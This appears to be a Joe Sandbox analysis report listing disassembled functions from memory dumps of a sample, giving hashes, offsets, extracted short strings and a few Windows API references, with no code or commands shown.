Opcode ID: 972b9bc1d96a6ba180a4e76d776246ab7c3e45212b892fd063b4aeb08bb0908f
Instruction ID: 61852e76a770c65776e0eab9bf1dd862cae706fb47f3e993ab73d9c7fa69098c
Opcode Fuzzy Hash: 972b9bc1d96a6ba180a4e76d776246ab7c3e45212b892fd063b4aeb08bb0908f
Instruction Fuzzy Hash: 68E1AF74E01218CFEB54DFA5C984B9DBBB2BF89304F2081A9D408BB395DB755A85CF50

Function 3A801CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98f137fce002a970e25490b1cbaf90ea9b34a7dc80b7a0a640fed1c6a697661b
Instruction ID: 4633e897b2fbd58d16f576d89f235a60438fa4586923f0dab1ddfff662ed84fc
Opcode Fuzzy Hash: 98f137fce002a970e25490b1cbaf90ea9b34a7dc80b7a0a640fed1c6a697661b
Instruction Fuzzy Hash: 8ED18D74E01218CFDB54DFA5C994B9DBBB2BF89300F6081A9D809AB364DB359E85CF50

Function 3A7C6678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974913948.000000003A7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7c0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aedf693c4ed518040962027f69ed99429b26997c6b9c4868f89e46ca5e245ff0
Instruction ID: 4cd533fef3a3c90d81dd5972830dacac61105b470b77948ddcd74690b00dd762
Opcode Fuzzy Hash: aedf693c4ed518040962027f69ed99429b26997c6b9c4868f89e46ca5e245ff0
Instruction Fuzzy Hash: A3D18E74E01218CFDB54DFA5C994B9DBBB2BF89300F2091A9D409AB364DB359E85CF50

Function 39D76030 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974489659.0000000039D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d70000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6863e05ba340b20c6ed3b775afe6fe925e6ea693c828accb1b91f877c3a2de6a
Instruction ID: 40d6ff35f1885c4ce7bb2b06ed6986c830ffaf2a1041965de1af3f507b9b17a9
Opcode Fuzzy Hash: 6863e05ba340b20c6ed3b775afe6fe925e6ea693c828accb1b91f877c3a2de6a
Instruction Fuzzy Hash: 16C19F74E01218CFDB54DFA5C984B9DBBB2AF89300F6081A9D809BB365DB359E85CF50

Function 39692968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651be892e0ef2d4cd6bda7a23d574cda93a933da7657b9e96ec9c0ff773ee421
Instruction ID: 22c911180226f5579731c8652d9d0cf9e7b4c53bf944b4c22229c4c5bfcc5111
Opcode Fuzzy Hash: 651be892e0ef2d4cd6bda7a23d574cda93a933da7657b9e96ec9c0ff773ee421
Instruction Fuzzy Hash: 7EC1A074E01218CFDB54DFA5C984B9DBBB2BF89301F2081A9D809A7365DB359E85CF50

Function 3A843E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975138885.000000003A840000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a840000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20678137e88e05492173c4b4c1d39e496391010e28bdcbdbf4f623a9d24e04c5
Instruction ID: fb31c1390d79102abab83019b43f807bf039af53858a014f4e5189a88c11f1d3
Opcode Fuzzy Hash: 20678137e88e05492173c4b4c1d39e496391010e28bdcbdbf4f623a9d24e04c5
Instruction Fuzzy Hash: CF9146B5A04709CFEB14EFA0D9587AEBBB1FB46302F105469D101772E1CB788A49CFA5

Function 3A843E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975138885.000000003A840000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a840000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19625e2423300f923cc87c81fdda874373203115be46e7351300eb60c20fcfd0
Instruction ID: ea75c31631b9e8946bb71cb69c2503365615882e7bf21608ac6eed64d183db12
Opcode Fuzzy Hash: 19625e2423300f923cc87c81fdda874373203115be46e7351300eb60c20fcfd0
Instruction Fuzzy Hash: F79146B5E04609CFEB14EFA0D9587AEBBB1FB46302F105429D101772E1CB788A49CFA5

Function 39692DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73579ecdfc9ebfc30c0059aa6ac8d3fcce983e0f16671d994dc178babac8eaec
Instruction ID: af09179747508ec04a728b0b7636321ee1f982042fcebabbe9d96dfdaa242aab
Opcode Fuzzy Hash: 73579ecdfc9ebfc30c0059aa6ac8d3fcce983e0f16671d994dc178babac8eaec
Instruction Fuzzy Hash: 0EA10370E00208CFDB14DFA9C984BDDBBB1FF89304F209269E409A72A1DB74A985CF55

Function 39691E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533f0fbd61c3aa9cc458921e82dc58104da01ba0b75ac2a7428f3eafc33a97d6
Instruction ID: 4edaf6957bf33f29285c0503b14e2e75d8a831d69f126f06808315c096f96d7d
Opcode Fuzzy Hash: 533f0fbd61c3aa9cc458921e82dc58104da01ba0b75ac2a7428f3eafc33a97d6
Instruction Fuzzy Hash: FDA182B5E012198FEB68CF6AC944BDDFBF2BB89300F14C1AAD409A7254DB345A85CF51

Function 39692DC2 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 226754638ca1d8a5e85afb7b241cc0a3880d4c552f326c5f381a5401d6711532
Instruction ID: 41615150d6f009e0bd8dd9322ebfc63f234d01a1ccec9deb374fe527b28a6ed4
Opcode Fuzzy Hash: 226754638ca1d8a5e85afb7b241cc0a3880d4c552f326c5f381a5401d6711532
Instruction Fuzzy Hash: BCA1F474E002088FDB14DFA9C984BDDBBB1FF89304F209269E409A72A1DB749985CF55

Function 396917A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40fffb1a3d12cd64e49865851f5dcf35862bcc4b5803908b552465219b409bbe
Instruction ID: dffabc546e68fb844c08aa807db19eb90c6eb914eeebc3485ea3d7229b3bd275
Opcode Fuzzy Hash: 40fffb1a3d12cd64e49865851f5dcf35862bcc4b5803908b552465219b409bbe
Instruction Fuzzy Hash: 1DA183B5E012198FEB64DF6AC944BDEBBF2BF89300F14C1AAD408A7254DB345A85CF51

Function 3969310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da72b85192608b8d4454da08cb93f988f80afff3d1c2b10d9e9c239b83bf91f1
Instruction ID: eadb0b78633a01119f04a1d192391208d31673a415b693fcd052f649dc0060e5
Opcode Fuzzy Hash: da72b85192608b8d4454da08cb93f988f80afff3d1c2b10d9e9c239b83bf91f1
Instruction Fuzzy Hash: DF91E374A01208CFEB10DFA8C984BDDBBB1FF89314F209269E409B72A1DB759985CF55

Function 3A80FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82d8837216a25df4ffafad341884886f7b265ae34365781faaf156956d3f0dc6
Instruction ID: 5d5110f3479aa9e066a6f82986a67463ed304fe0404a3653d0de9287ac550b22
Opcode Fuzzy Hash: 82d8837216a25df4ffafad341884886f7b265ae34365781faaf156956d3f0dc6
Instruction Fuzzy Hash: 90819E74E01218DFDB14DFE9C990ADDBBB2BB89300F209169D815BB368DB359946CF50

Function 3A808470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2a0f3b62550ea5d0b7f15f9d6242f9ef135c6132699d02d25c1fab0936c8204
Instruction ID: b757846d767b645e56a7025a8a905a2e5c396e6fa7b1e98e6fb6f97e387d2ed2
Opcode Fuzzy Hash: f2a0f3b62550ea5d0b7f15f9d6242f9ef135c6132699d02d25c1fab0936c8204
Instruction Fuzzy Hash: D8819E74E01218CFDB14DFE9C990ADDBBB2BB89300F20956AD415BB368DB359986CF50

Function 3A7F70C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9252fa1f15e20f9fb2322a376284b4eabfa58cce8c1235468ee1958b26cea332
Instruction ID: 6c3e55b2fb27beaa420469bfd84057aff2c5783ba09a048ff470c4a4d91735f3
Opcode Fuzzy Hash: 9252fa1f15e20f9fb2322a376284b4eabfa58cce8c1235468ee1958b26cea332
Instruction Fuzzy Hash: BE81AE74E01218CFDB14DFA9C980ADDBBB2BF89300F209569D815BB368EB359946CF50

Function 3969FC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fec676789bf011712b06a97736f37bc48894256e3a118c3ef8ca7858fe135d05
Instruction ID: e296c055e24b1eada4c3d13b4926b87b08611079c82dcebbaf45e5c44db0fdc2
Opcode Fuzzy Hash: fec676789bf011712b06a97736f37bc48894256e3a118c3ef8ca7858fe135d05
Instruction Fuzzy Hash: 9D81BD74E11218CFDB04DFA9D980ADDBBB2BF89300F209169E804BB368DB359946CF50

Function 3969178F Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb226eb1bc0ce346cb3db4c65d9e26014ef15185bad59f61d51b98e51d373e9
Instruction ID: 206a1f5f02931797e3044bfb0aa2416afd21cc7756b37c6347fedc0f59ee6eca
Opcode Fuzzy Hash: dfb226eb1bc0ce346cb3db4c65d9e26014ef15185bad59f61d51b98e51d373e9
Instruction Fuzzy Hash: 0F7195B5D016188FEB68CF6AC944BDEBBF2AF88300F14C1AAD409A7254DB745A85CF11

Function 3A7C6568 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974913948.000000003A7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7c0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f55e8d56699510bb16dc2cf006621c3658e219709596d65a49a26d607d1deb3
Instruction ID: 409d73eacc0fb99685498e2e50d2ea37aa25aa5151220a27437c5ebf14a8de67
Opcode Fuzzy Hash: 5f55e8d56699510bb16dc2cf006621c3658e219709596d65a49a26d607d1deb3
Instruction Fuzzy Hash: 4B518B70D082488BDB25CFAAD8D42DDBBB2BF89300F54D1AAC414BB256EB359946CF50

Function 0015E97C Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8c999f40ca2724169d62c8daf80f74ec24ca047bc57ec46c73e02a5709fc93
Instruction ID: 0e07886836b13c1f1496f2593a8b538e3533358ad148515c63dfab8be08a1d71
Opcode Fuzzy Hash: dc8c999f40ca2724169d62c8daf80f74ec24ca047bc57ec46c73e02a5709fc93
Instruction Fuzzy Hash: A551B574E00208DFDB19DFBAD584A9DBBB2BF89301F249029E815AB364DB355945CF14

Function 0015E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dcd399fcc100d5737fb897ca428137ab09e3aed69b84204b86561a96980d597
Instruction ID: a0915718d3b9f834f9acf1cf839ce79be45326bf432b999f0ee31ada0fc01126
Opcode Fuzzy Hash: 2dcd399fcc100d5737fb897ca428137ab09e3aed69b84204b86561a96980d597
Instruction Fuzzy Hash: 7E51A474E00208DFDB18DFAAD584A9DBBF2BF88300F249029E819BB364DB319945CF54

Function 3A7C6621 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974913948.000000003A7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7c0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418010bd53e0f2b78ece935d455dbf12c6e18f2d805d7648c9bb10f85d695b1a
Instruction ID: d33ad5fec2a4525a5a24c21c7d557aea6f39ac9f7b792f1017596289dc239a58
Opcode Fuzzy Hash: 418010bd53e0f2b78ece935d455dbf12c6e18f2d805d7648c9bb10f85d695b1a
Instruction Fuzzy Hash: 9E517B71D053498FDB24CFAAD8942CDBBB2BF8A300F50E1A9C014BB215EB35A945CF90

Function 3A7C660F Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974913948.000000003A7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7c0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c233111f48a03c8e6a404a0af7cd27e827e5779ad0db569df7083c208337f39f
Instruction ID: 84d7f44f09c51fa9d163eba1e1b36bd218116339ceeedffd697b6796b3033363
Opcode Fuzzy Hash: c233111f48a03c8e6a404a0af7cd27e827e5779ad0db569df7083c208337f39f
Instruction Fuzzy Hash: 4C413974D053588BDB24CFAAD9942DDBBB2BF8A300F54E069D419BB265EB385909CF40

Function 39691E70 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10de0bb3afecfb38bc29af639921605a02d1c243fac997709d11e89ab91bb1f2
Instruction ID: 06f1847a08f702333ff569f8308f8260c121659e0a05f370c72b88d9a28cd187
Opcode Fuzzy Hash: 10de0bb3afecfb38bc29af639921605a02d1c243fac997709d11e89ab91bb1f2
Instruction Fuzzy Hash: C04169B1E016198BEB58CF6BC9447DEFAF3AFC9300F54C1AAC40DA6264DB740A858F51

Function 3A7C56A8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974913948.000000003A7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7c0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aada69af4055582ce0c0ddbd06bc4bbf6271e9000a0c076da5bd0f13360498f
Instruction ID: 00b7d313e94698e243b8caf5fa5822f46f7e006beb571436d4e148234e9f4d92
Opcode Fuzzy Hash: 0aada69af4055582ce0c0ddbd06bc4bbf6271e9000a0c076da5bd0f13360498f
Instruction Fuzzy Hash: F941F574E00248CFEB48CFAAD8806DEFBB2AF89300F10D12AD409BB254EB755946CF54

Function 3A801CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a7ba76b42a6703097a680db4c1fac9c42a8a49a9dc25922fb93f7360d9025a3
Instruction ID: fc26c604a9c3b233ea9892a81d4fb73c39eddfb6cf9d78a0d69e66b914c65b5a
Opcode Fuzzy Hash: 2a7ba76b42a6703097a680db4c1fac9c42a8a49a9dc25922fb93f7360d9025a3
Instruction Fuzzy Hash: A341F2B0E052189FDB18DFAAD8546DDBBF2BF89300F14D06AD418BB264EB745946CF44

Function 001576F1 Relevance: 10.5, Strings: 8, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(okq, xrefs: 0015772E
(okq, xrefs: 00157BFF
(okq, xrefs: 001577E9
(okq, xrefs: 001578B2
,oq, xrefs: 00157BA0
,oq, xrefs: 00157B90
(okq, xrefs: 00157815
(okq, xrefs: 00157C0F

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: (okq$(okq$(okq$(okq$(okq$(okq$,oq$,oq
API String ID: 0-2636989756
Opcode ID: fa3ad30cfc4e4ec6b1516b1b952153731c4deedb12ab3b0ba7e86b54742cbf09
Instruction ID: f47590ce0cb0bc8d64607b69bd241927ba4803401bce04a75799c0a2fa9c651c
Opcode Fuzzy Hash: fa3ad30cfc4e4ec6b1516b1b952153731c4deedb12ab3b0ba7e86b54742cbf09
Instruction Fuzzy Hash: 1D126B30A04205CFCB15CF68E985AAEBBF2FF49315F158599E8299B3A1D730ED49CB50

Function 39693FE8 Relevance: 9.2, Strings: 7, Instructions: 406
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hoq, xrefs: 39694036
Hoq, xrefs: 39694231
TJpq, xrefs: 39694462
Hoq, xrefs: 396941D2
'A7U, xrefs: 39694094
'A7U, xrefs: 39694145
8pq, xrefs: 39694429

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 'A7U$'A7U$8pq$Hoq$Hoq$Hoq$TJpq
API String ID: 0-4035071452
Opcode ID: fdad26b1de3777aee2dedac29c047e38c971179e935647c6d9009acb96622364
Instruction ID: b14d8eb554fb794964d8c4ae570fb41fa5dc0bf8c44a484a986f5c1bbe1e0055
Opcode Fuzzy Hash: fdad26b1de3777aee2dedac29c047e38c971179e935647c6d9009acb96622364
Instruction Fuzzy Hash: 22D11534B052148FDB04DF68C491AEE7BB6FF89360F14416AE505EB3A1CA35EC46CB92

Function 39693A50 Relevance: 7.7, Strings: 6, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x4A7, xrefs: 39693C39
Hoq, xrefs: 39693CEE
Hoq, xrefs: 39693D21
Hoq, xrefs: 39693CBB
, xrefs: 39693B4D
x4A7, xrefs: 39693BD3

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: $Hoq$Hoq$Hoq$x4A7$x4A7
API String ID: 0-623027639
Opcode ID: 6abd3af9359e2b6e65e48e6e275497053f919c83873f38d9993a285b5620367e
Instruction ID: 4f78e047b2e7536d3bb6d5269332834633c96968bcab9b88890946dc36ac1d8e
Opcode Fuzzy Hash: 6abd3af9359e2b6e65e48e6e275497053f919c83873f38d9993a285b5620367e
Instruction Fuzzy Hash: DA81F3347007449BDB15AF3888556AE3AA2EFC9360F204229F526DB3D1CF349D42C796

Function 00150CA0 Relevance: 6.8, Strings: 5, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0!E7, xrefs: 00150FB7
((E7, xrefs: 00151799
( E7, xrefs: 00150F62
h-E7, xrefs: 00150F3A
LRkq, xrefs: 00150F19

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: ( E7$((E7$0!E7$LRkq$h-E7
API String ID: 0-2900786413
Opcode ID: e9f46dd09e99a942c236e4c584ffafaf3c69749ab22db5f95b8c8116d99a4593
Instruction ID: b8c6d434ca2a5e9b804684cde0864c625bf8679c5d56bc8bc90ebdb5f857840b
Opcode Fuzzy Hash: e9f46dd09e99a942c236e4c584ffafaf3c69749ab22db5f95b8c8116d99a4593
Instruction Fuzzy Hash: BC527674A00619CFCB54DF64DD94A9DBBB2FB89301F1045EAD409A7765DB30AE86CF80

Function 3A849963 Relevance: 6.1, APIs: 4, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 3A8499EE
GetCurrentThread.KERNEL32 ref: 3A849A2B
GetCurrentProcess.KERNEL32 ref: 3A849A68
GetCurrentThreadId.KERNEL32 ref: 3A849AC1

Memory Dump Source

Source File: 00000004.00000002.2975138885.000000003A840000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a840000_JOSXXL1.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 52d8780119167797b6d2a07496fe2b3e7c7bf4c40b2e54a9e46708a96bbc4890
Instruction ID: 1d77d696364ace37534c3139d179144b1a707f77a91987b62eec46d271bee244
Opcode Fuzzy Hash: 52d8780119167797b6d2a07496fe2b3e7c7bf4c40b2e54a9e46708a96bbc4890
Instruction Fuzzy Hash: 225146B09043498FDB14CFA9C948BEEFBF1EF49310F20845AE449A7261DB34A985CF65

Function 3A849970 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 3A8499EE
GetCurrentThread.KERNEL32 ref: 3A849A2B
GetCurrentProcess.KERNEL32 ref: 3A849A68
GetCurrentThreadId.KERNEL32 ref: 3A849AC1

Memory Dump Source

Source File: 00000004.00000002.2975138885.000000003A840000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a840000_JOSXXL1.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 45573eefd052be00c166de8002b2a859b984676f2f640445a33cd21932cded1a
Instruction ID: 982ba0ffac9a76d7bc49c989d737d933d40b70d06408eadf8acacc784d60b8ee
Opcode Fuzzy Hash: 45573eefd052be00c166de8002b2a859b984676f2f640445a33cd21932cded1a
Instruction Fuzzy Hash: D35123B19043498FDB14DFA9C548BEEBBF1EF88310F20C459E459A7260DB38A985CF65

Function 00158490 Relevance: 3.2, Strings: 2, Instructions: 703COMMON

Download Yara Rule

Strings

$kq, xrefs: 00158FB4
$kq, xrefs: 00158FD7

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: 1bba230f2bbabb0710382ae1b93cfd5cba4da10f954f0789382aa2274baeaa51
Instruction ID: e1e9221370c944869af58106ee4637d0595cca378ff1dbffe4e069d3a8193254
Opcode Fuzzy Hash: 1bba230f2bbabb0710382ae1b93cfd5cba4da10f954f0789382aa2274baeaa51
Instruction Fuzzy Hash: 76522074A00218CFEB14DBA4C950B9EBB77EF84300F1081A9D50A7B3A5CF359E89AF51

Function 00155F38 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

Hoq, xrefs: 00156023
Hoq, xrefs: 00156056

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: Hoq$Hoq
API String ID: 0-3106737575
Opcode ID: da49479f4b09f547fe9d527dc770b47ec29dddf86604b6a7c1128a9be78827f7
Instruction ID: 25355ad7de51638fac20362abdab9ecf0743c9821fac7e8957016ff74b42eaf0
Opcode Fuzzy Hash: da49479f4b09f547fe9d527dc770b47ec29dddf86604b6a7c1128a9be78827f7
Instruction Fuzzy Hash: DFB19E30708214CFCB159F358894B7A7BB6AFC8302F55456AE816CB3A6DB34CC89D791

Function 00156498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,oq, xrefs: 0015656E
,oq, xrefs: 00156578

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: ,oq$,oq
API String ID: 0-3825397795
Opcode ID: 632ac27b746ea70d20c4c003e2d760c4d58dfd5af176b5ec8ae328b53dfe618f
Instruction ID: 5f59e603994b751fae5352356ec4e4c0855229cffd9e3bb5854817fad05a9151
Opcode Fuzzy Hash: 632ac27b746ea70d20c4c003e2d760c4d58dfd5af176b5ec8ae328b53dfe618f
Instruction Fuzzy Hash: FC819F34A40505CFCB18CF69C48496ABBB2BF89312BA58169D825DF375DB31EC49CBE1

Function 39694351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

TJpq, xrefs: 39694462
8pq, xrefs: 39694429

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 8pq$TJpq
API String ID: 0-1168589435
Opcode ID: 4a075f0222fbd8fc3008f453af1187818513f089a5d3957fcb6631483ca62162
Instruction ID: 34998dad9e9586ae272a7f22cad7c50cabe40c6985e827e97220c91d989d5096
Opcode Fuzzy Hash: 4a075f0222fbd8fc3008f453af1187818513f089a5d3957fcb6631483ca62162
